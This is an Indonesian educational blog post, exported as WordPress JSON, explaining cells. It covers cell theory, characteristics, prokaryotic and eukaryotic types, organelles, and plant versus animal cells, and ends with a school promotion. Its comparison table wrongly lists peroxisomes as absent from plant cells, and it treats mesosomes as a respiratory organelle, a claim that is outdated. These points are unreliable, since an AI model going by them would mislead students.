{"id":1600,"date":"2025-08-05T09:00:24","date_gmt":"2025-08-05T02:00:24","guid":{"rendered":"https:\/\/www.altaglobalschool.com\/blog\/?p=1600"},"modified":"2026-01-20T06:25:20","modified_gmt":"2026-01-19T23:25:20","slug":"apa-itu-sel","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel","title":{"rendered":"Sel: Pengertian, Ciri-Ciri, Struktur, dan Jenis-Jenisnya"},"content":{"rendered":"<p><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6dd51d1f-75b1-4fe5-8d2b-ccb112ad8fd3.png\" alt=\"sel\" width=\"820\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Sel adalah dasar kehidupan semua makhluk hidup. Yuk, pelajari apa itu sel, ciri, struktur, jenis, serta perbedaan sel hewan dan tumbuhan di artikel ini!<\/span><\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\"><i><span style=\"font-weight: 400;\">\u2014<\/span><\/i><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Semua makhluk hidup, termasuk manusia, hewan, dan tumbuhan, memiliki satu kesamaan dasar, yaitu seluruh tubuhnya tersusun atas sel. Tapi, sebenarnya apa itu sel? Sel adalah unit terkecil penyusun kehidupan yang bekerja tanpa henti untuk menjaga tubuh tetap hidup dan berfungsi.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Di artikel ini, kamu akan belajar mengenai pengertian sel, ciri-cirinya, jenis-jenis sel, dan juga perbedaan antara sel hewan dan tumbuhan, lengkap dengan gambar selnya. Yuk, simak penjelasannya sampai selesai!<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Pengertian Sel<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><strong>Sel adalah satuan unit struktural dan fungsional terkecil makhluk hidup yang merupakan dasar penyusun bagian-bagian tubuh.<\/strong><span style=\"font-weight: 400;\"> Seluruh organisme mulai dari bakteri hingga manusia, tersusun atas sel-sel yang menjalankan fungsi penting bagi kehidupan.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dalam <\/span><em><span style=\"font-weight: 400;\">Campbell Biology<\/span><\/em><span style=\"font-weight: 400;\"><em>,<\/em> dijelaskan bahwa sel adalah <\/span><i><span style=\"font-weight: 400;\">\u201c<\/span><\/i><em><span style=\"font-weight: 400;\">the simplest collection of matter that can be alive<\/span><\/em><i><span style=\"font-weight: 400;\">\u201d<\/span><\/i><span style=\"font-weight: 400;\">, yaitu kumpulan materi paling sederhana yang masih bisa hidup. Semua sel memiliki membran plasma yang membatasi lingkungan internalnya, mengandung <\/span><em><span style=\"font-weight: 400;\">cytosol<\/span><\/em><span style=\"font-weight: 400;\">, dan materi genetik berupa DNA atau RNA.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Teori sel yang dikembangkan oleh Schleiden dan Schwann menyatakan bahwa:<\/span><\/p>\n<ol style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Semua organisme tersusun dari satu atau lebih sel.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Sel adalah unit dasar struktur dan fungsi dalam setiap makhluk hidup.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Sel-sel lainnya berasal dari proses penggandaan (replikasi) sel yang telah ada sebelumnya<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Ciri-Ciri Sel<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sebelum mempelajari jenis-jenis sel, yuk kita kenali ciri khas yang dimiliki oleh setiap sel. Meskipun bentuk dan fungsinya berbeda-beda, hampir semua sel memiliki karakteristik sebagai berikut.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Berukuran mikroskopis<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Umumnya berukuran 1\u2013100 mikrometer, sehingga hanya bisa dilihat dengan mikroskop.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Memiliki membran sel<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Membran ini membungkus seluruh bagian sel dan berfungsi mengatur keluar masuknya zat.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Mengandung sitoplasma<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sitoplasma adalah cairan kental tempat organel-organel berada dan berlangsungnya berbagai reaksi kimia.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Mengandung materi genetik (DNA atau RNA)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Materi genetik ini mengatur aktivitas sel dan diwariskan saat pembelahan.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>5. Mampu melakukan metabolisme<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sel mampu menyerap nutrisi, mengolah energi, dan membuang zat sisa.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>6. Dapat berkembang biak (reproduksi sel)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sel dapat memperbanyak diri, baik dengan membelah diri maupun melalui proses lain tergantung jenisnya.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>7. Tersusun atas komponen kimiawi<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sel tersusun atas komponen kimiawi seperti karbohidrat, protein, lemak, air, vitamin, dan mineral.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>8. Memiliki ribosom dan sitoskeleton<\/b><\/span><b><br \/>\n<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Ribosom membantu sintesis protein, sedangkan sitoskeleton memberi bentuk dan dukungan struktural.<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>9. Organel-organel khusus (pada sel eukariotik)<\/b><\/span><b><br \/>\n<\/b><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sel juga memiliki organel khusus terutama pada sel eukariotik, seperti mitokondria, retikulum endoplasma, badan golgi, lisosom, plastida, vakuola, sentriol, dan badan mikro.<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>10. Mesosom (pada sel prokariotik)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><b><\/b><span style=\"font-weight: 400;\">Pada sel prokariotik, terdapat organel bernama mesosom yang berfungsi seperti mitokondria yaitu sebagai pusat respirasi sel.<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>11. Berperan sebagai unit hereditas<\/b><\/span><b><br \/>\n<\/b><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sel dapat mewariskan sifat ke sel anak hasil pembelahan.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/sistem-reproduksi-manusia\">Mengenal Sistem Reproduksi Manusia pada Wanita dan Pria<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Jenis-Jenis Sel<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Tahukah kamu kalau sel ternyata punya beragam jenis <\/span><i><span style=\"font-weight: 400;\">lho<\/span><\/i><span style=\"font-weight: 400;\">? Jenis-jenis sel ini dibedakan berdasarkan tiga hal, yaitu <\/span><strong>materi genetik, membran inti<\/strong><span style=\"font-weight: 400;\">, dan <\/span><strong>sitoplasma<\/strong><span style=\"font-weight: 400;\">. Nah, materi genetik adalah komponen penting yang menentukan sifat makhluk hidup. Materi ini bisa berupa DNA atau RNA, dan sifatnya dapat diturunkan dari induk ke anaknya.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dalam sebuah sel, ada materi genetik yang terbungkus membran inti, dan ada juga yang tidak. Kalau <\/span><strong>materi genetiknya<\/strong> <strong>terbungkus oleh membran inti<\/strong><span style=\"font-weight: 400;\">, maka itu disebut <\/span><strong>sel eukariotik<\/strong><span style=\"font-weight: 400;\">. Sebaliknya, kalau <\/span><strong>tidak dibungkus membran inti<\/strong><span style=\"font-weight: 400;\"><strong>,<\/strong> disebut <\/span><strong>sel prokariotik.<\/strong><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Sel Prokariotik<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sel prokariotik adalah organisme pertama yang hidup di bumi. Jenis sel ini tidak memiliki membran inti. Materi genetiknya (DNA) berada langsung di sitoplasma dan tidak terbungkus oleh nukleus.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Organisme yang termasuk dalam tipe sel ini, antara lain archaebacteria\/eubacteria dan blue green algae. Karakteristik umum dari sel prokariotik adalah sebagai berikut:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Tidak memiliki inti sel sejati (nukleus); materi genetiknya berada langsung di sitoplasma.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ukuran sel kecil (1\u201310 mikron).<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Umumnya bersifat uniseluler, meskipun bisa membentuk koloni atau filamen.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bentuk sel bervariasi: bulat, batang, atau datar.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Tidak memiliki organel bermembran, seperti mitokondria atau retikulum endoplasma.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mampu hidup sebagai autotrof (membuat makanannya sendiri) maupun heterotrof (memperoleh makanan dari organisme lain).<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Reproduksi secara aseksual, melalui pembelahan biner, transformasi, konjugasi, dan transduksi.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Memiliki struktur seperti ribosom, dinding sel, dan mesosom sebagai pengganti fungsi mitokondria.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/bagian-bagian-tumbuhan-dan-fungsinya\">Apa Saja Bagian-Bagian Tumbuhan dan Fungsinya?<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Sel Eukariotik<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Berbeda dari prokariotik, sel eukariotik memiliki struktur yang lebih kompleks dan inti sel sejati yang dibungkus oleh membran inti. Sel ini membentuk tubuh sebagian besar organisme multiseluler. Contoh sel eukariotik antara lain sel hewan dan sel tumbuhan.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Berikut ini adalah beberapa karakteristik dari sel eukariotik:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Memiliki nukleus yang jelas, tempat DNA disimpan dengan aman.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ukuran lebih besar, sekitar 10\u2013100 mikron.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Struktur kompleks dengan organel bermembran, seperti mitokondria, retikulum endoplasma, dan aparatus Golgi.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bisa uniseluler maupun multiseluler.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Reproduksi secara mitosis (untuk pertumbuhan sel tubuh) dan meiosis (untuk pembentukan sel kelamin).<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bersifat autotrof (misalnya tumbuhan yang melakukan fotosintesis) atau heterotrof (seperti hewan yang memakan organisme lain).<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Struktur Sel<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Setiap sel terdiri dari beberapa bagian yang disebut sebagai struktur sel. Struktur sel terbagi menjadi bagian luar dan dalam. Yuk, kita lihat seperti apa contoh struktur sel pada hewan dan tumbuhan!<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Struktur Sel Hewan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Struktur sel hewan memiliki membran sel sebagai pelindung luar, sitoplasma sebagai tempat berlangsungnya reaksi sel, dan inti sel yang mengatur aktivitas sel. Selain itu, ada juga organel seperti mitokondria, ribosom, dan badan golgi.<\/span><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/94b1aff3-817d-4c43-a2f1-2b94b10037e3.png\" alt=\"struktur sel hewan\" width=\"600\" \/><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Struktur Sel Tumbuhan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Struktur sel tumbuhan mirip dengan sel hewan, tetapi memiliki tambahan penting yaitu dinding sel yang memberi bentuk tetap dan kloroplas yang berperan dalam fotosintesis. Tumbuhan juga memiliki vakuola yang besar untuk menyimpan air dan zat-zat lainnya.<\/span><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/d9b172dd-3e3a-45c1-a3c8-2d54f344d03d.png\" alt=\"struktur sel tumbuhan\" width=\"600\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, kalau kamu perhatikan, pada bagian luar sel, terdapat membran sel dan dinding sel yang didalamnya ada protoplasma. Kemudian, di protoplasma terbagi lagi menjadi 3 bagian, yaitu nukleus, sitoplasma, dan sitoskeleton.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Biar gak bingung, mending kita bahas satu per satu bagian struktur selnya, yuk!<\/span><\/p>\n<h4><span style=\"font-size: 12pt;\"><b>a. Membran Sel atau Membran Plasma<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Membran sel atau membran plasma adalah struktur yang dimiliki oleh semua sel makhluk hidup, baik itu sel hewan, tumbuhan, jamur, bakteri, arkea, maupun protista.<\/span><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/666a2fd0-133b-4612-a540-499add8e1fd7.png\" alt=\"membran sel\" width=\"600\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Membran sel ini tersusun atas senyawa kimia seperti lipid (fosfolipid), protein, dan karbohidrat. Walaupun menjadi lapisan terluar pada kebanyakan makhluk hidup, khususnya pada tumbuhan dan jamur, membran sel terletak di bawah dinding sel.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Salah satu sifatnya adalah semipermeabel, yaitu hanya zat-zat tertentu saja yang bisa keluar masuk melalui membran. Sifat ini muncul berkat susunan fosfolipid pada membran sel.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span style=\"font-size: 12pt;\"><b>b. Dinding Sel<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Berbeda dengan membran sel yang dimiliki semua makhluk hidup, dinding sel hanya terdapat pada sel tumbuhan dan jamur. Nah, keberadaan dinding sel inilah yang membuat sel tumbuhan punya ciri khas dan berbeda dari sel hewan.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Salah satu peran dinding sel adalah memberikan kekakuan pada tumbuhan, sehingga tumbuhan tidak bisa bergerak bebas seperti hewan. Tapi ingat, ya, meskipun tampak diam, tumbuhan tetap bisa bergerak, hanya saja geraknya bersifat pasif (tidak berpindah tempat).<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/ciri-ciri-makhluk-hidup\">Ciri-Ciri Makhluk Hidup, Pengertian &amp; Contohnya<\/a><\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Struktur dinding sel terdiri dari dua lapisan, yaitu dinding sel primer dan sekunder. Letak dinding sel primer berada di antara lamela tengah dan dinding sel sekunder. Meskipun namanya lamela tengah, letaknya justru paling luar dari struktur dinding sel dan banyak mengandung pektin.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dinding sel primer terbentuk pertama kali saat sel membelah. Karena itu, strukturnya lebih tipis dan fleksibel. Kandungannya antara lain selulosa (kadar rendah), hemiselulosa, lipid, dan protein.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Setelah itu, sel akan mengalami penebalan karena terbentuknya dinding sel sekunder, yang mengandung lignin, selulosa, dan hemiselulosa. Lapisan ini lebih kuat, kaku, dan tebal dibandingkan dinding sel primer.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dinding sel memiliki beberapa fungsi penting, seperti:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Melindungi bagian dalam sel<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Memberi bentuk tetap pada sel<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengatur tekanan osmotik agar keseimbangan cairan tetap terjaga<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mencegah kehilangan air dari dalam sel<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4><span style=\"font-size: 12pt;\"><b>c. Protoplasma<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Protoplasma adalah seluruh isi bagian dalam sel yang dikelilingi oleh membran sel. Bagian ini mengandung senyawa-senyawa kimia kayak organik dan anorganik. Selain senyawa kimiawi, protoplasma juga terdiri dari 3 bagian, yaitu sitoplasma, nukleus (inti sel), dan sitoskeleton.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span style=\"font-size: 12pt;\"><b>d. Sitoplasma<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sitoplasma adalah cairan yang ada di antara nukleus (inti sel) dan membran plasma (lapisan luar sel). Nah, sitoplasma ini terdiri dari dua bagian utama, yaitu sitosol dan organel sel.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Berikut ini beberapa fungsi penting dari sitoplasma, antara lain:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Sebagai tempat berlangsungnya reaksi kimia dalam sel<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Menyimpan zat-zat kimia penting untuk metabolisme sel<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Membantu melarutkan berbagai senyawa dan protein<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Penghubung atau perantara untuk mengirim zat dari luar sel ke dalam inti atau organel lainnya<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4><span style=\"font-size: 12pt;\"><b>e. Nukleus (Inti sel)<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sesuai namanya inti, nukleus adalah bagian paling penting dari sel karena bertugas mengatur semua aktivitas di dalam sel. Di dalam nukleus, ada beberapa komponen utama yang punya tugas berbeda-beda:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Membran inti (karioteka)<\/strong><span style=\"font-weight: 400;\">: letaknya paling luar dari inti sel. Karioteka punya pori-pori kecil yang berfungsi untuk pertukaran zat antara nukleus dan sitoplasma.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Anak inti (nukleolus)<\/strong><span style=\"font-weight: 400;\">: tugasnya membuat rRNA, yaitu bahan utama pembentuk ribosom.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Nukleoplasma<\/strong><span style=\"font-weight: 400;\">: cairan kental dan transparan di dalam inti sel. Di sinilah terjadi berbagai reaksi kimia penting dalam nukleus.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Kromosom<\/strong><span style=\"font-weight: 400;\">: terdiri dari benang-benang kromatin yang membawa informasi genetik. Kromosom menyimpan DNA yang menyimpan kode rahasia tubuh kita.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/ae6987bd-0953-446e-9dc6-76d146698af6.png\" alt=\"nukleus\" width=\"600\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, semua komponen ini bekerja sama agar nukleus bisa menjalankan tugas-tugas pentingnya, seperti:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengatur proses metabolisme sel<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Menyimpan informasi genetik (DNA)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengontrol pertumbuhan sel<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Menjadi pusat sintesis DNA dan RNA<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Tempat penyimpanan protein tertentu<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4><span style=\"font-size: 12pt;\"><b>f. Sitoskeleton<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dari namanya, sitoskeleton terdiri dari dua kata, yaitu sito yang artinya sel, dan skeleton yang artinya rangka. Jadi, sitoskeleton adalah rangka sel yang berbentuk benang-benang halus atau filamen-filamen protein yang menyebar di dalam sitosol.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nggak cuma ngasih bentuk aja, sitoskeleton juga punya beberapa fungsi penting, di antaranya:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengatur bentuk sel<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengatur pergerakan dalam sel<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Menjaga posisi organel-organel supaya tetap stay di tempatnya masing-masing<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sitoskeleton terbagi jadi tiga jenis, yaitu:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Mikrofilamen<\/strong><span style=\"font-weight: 400;\">: bentuknya paling tipis dan berfungsi dalam pergerakan sel serta pembelahan sel.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Filamen intermediet<\/strong><span style=\"font-weight: 400;\"><strong>:<\/strong> memiliki ukuran sedang dan fungsinya untuk menjaga bentuk sel agar tetap stabil.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Mikrotubulus<\/strong><span style=\"font-weight: 400;\">: memiliki ukuran paling besar dan berfungsi untuk membantu pergerakan organel dan menjadi bagian dari silia dan flagela.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Perbedaan Sel Hewan dan Sel Tumbuhan<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Perbedaan mendasar antara sel tumbuhan dan sel hewan adalah pada jenis organel atau komponen sel seperti pada keberadaan dinding sel, lisosom, vakuola, sentrosom\/sentriol dan beberapa karakter sel lainnya. Agar lebih mudah memahami <strong>perbedaan sel tumbuhan dan sel hewan<\/strong> tersebut perhatikan tabel berikut.<\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>Organel Sel<\/strong><\/td>\n<td><strong>Sel Hewan<\/strong><\/td>\n<td><strong>Sel Tumbuhan<\/strong><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Dinding Sel<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Tidak ada<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Ada<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Kloroplas<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Tidak ada<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Ada<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Glioksisom<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Tidak ada<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Ada<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Sepasang Sentriol (Sentrosom)<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Ada<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Tidak ada<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Lisosom<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Ada<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Tidak ada<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Peroksisom<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Ada<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Tidak ada<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Vakuola<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Berukuran kecil<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Berukuran besar<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">\u2014<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Demikian penjelasan mengenai sel, mulai dari pengertian, struktur, ciri, jenis, hingga perbedaan sel tumbuhan dan sel hewan. Melalui pemahaman bagian-bagian sel seperti membran sel, inti sel, sitoplasma, dan organel-organel sel lainnya, kita bisa lebih memahami bagaimana tubuh kita bekerja sampai ke tingkat terkecilnya.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Selain itu, kamu juga bisa menggambarkan sel hewan dan sel tumbuhan berdasarkan penjelasan struktur-strukturnya tadi, <\/span><em><span style=\"font-weight: 400;\">lho<\/span><\/em><span style=\"font-weight: 400;\">! Semoga artikel ini membantu kamu memahami sel secara lebih mendalam dan menyenangkan ya!<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kalau kamu ingin belajar lebih banyak lagi tentang IPA dan pengetahuan seru lainnya, yuk daftar di <\/span><a href=\"https:\/\/www.ruangguru.com\/blog\/alta-school\"><span style=\"font-weight: 400;\">A<strong>lta Global School by Ruangguru<\/strong><\/span><\/a><span style=\"font-weight: 400;\"><strong>!<\/strong> Di sini kamu bisa belajar dengan sistem <\/span><em><span style=\"font-weight: 400;\">blended learning<\/span><\/em><span style=\"font-weight: 400;\">, gabungan pembelajaran online dan offline, mulai dari <\/span><span style=\"font-weight: 400;\"><em>preschool<\/em> <\/span><span style=\"font-weight: 400;\">sampai <\/span><em>high school<\/em><span style=\"font-weight: 400;\"><em>,<\/em> dengan <\/span><em><span style=\"font-weight: 400;\">Champions Curriculum<\/span><\/em><span style=\"font-weight: 400;\"> yang menggabungkan kurikulum internasional dan nasional.<\/span><\/p>\n<p><a 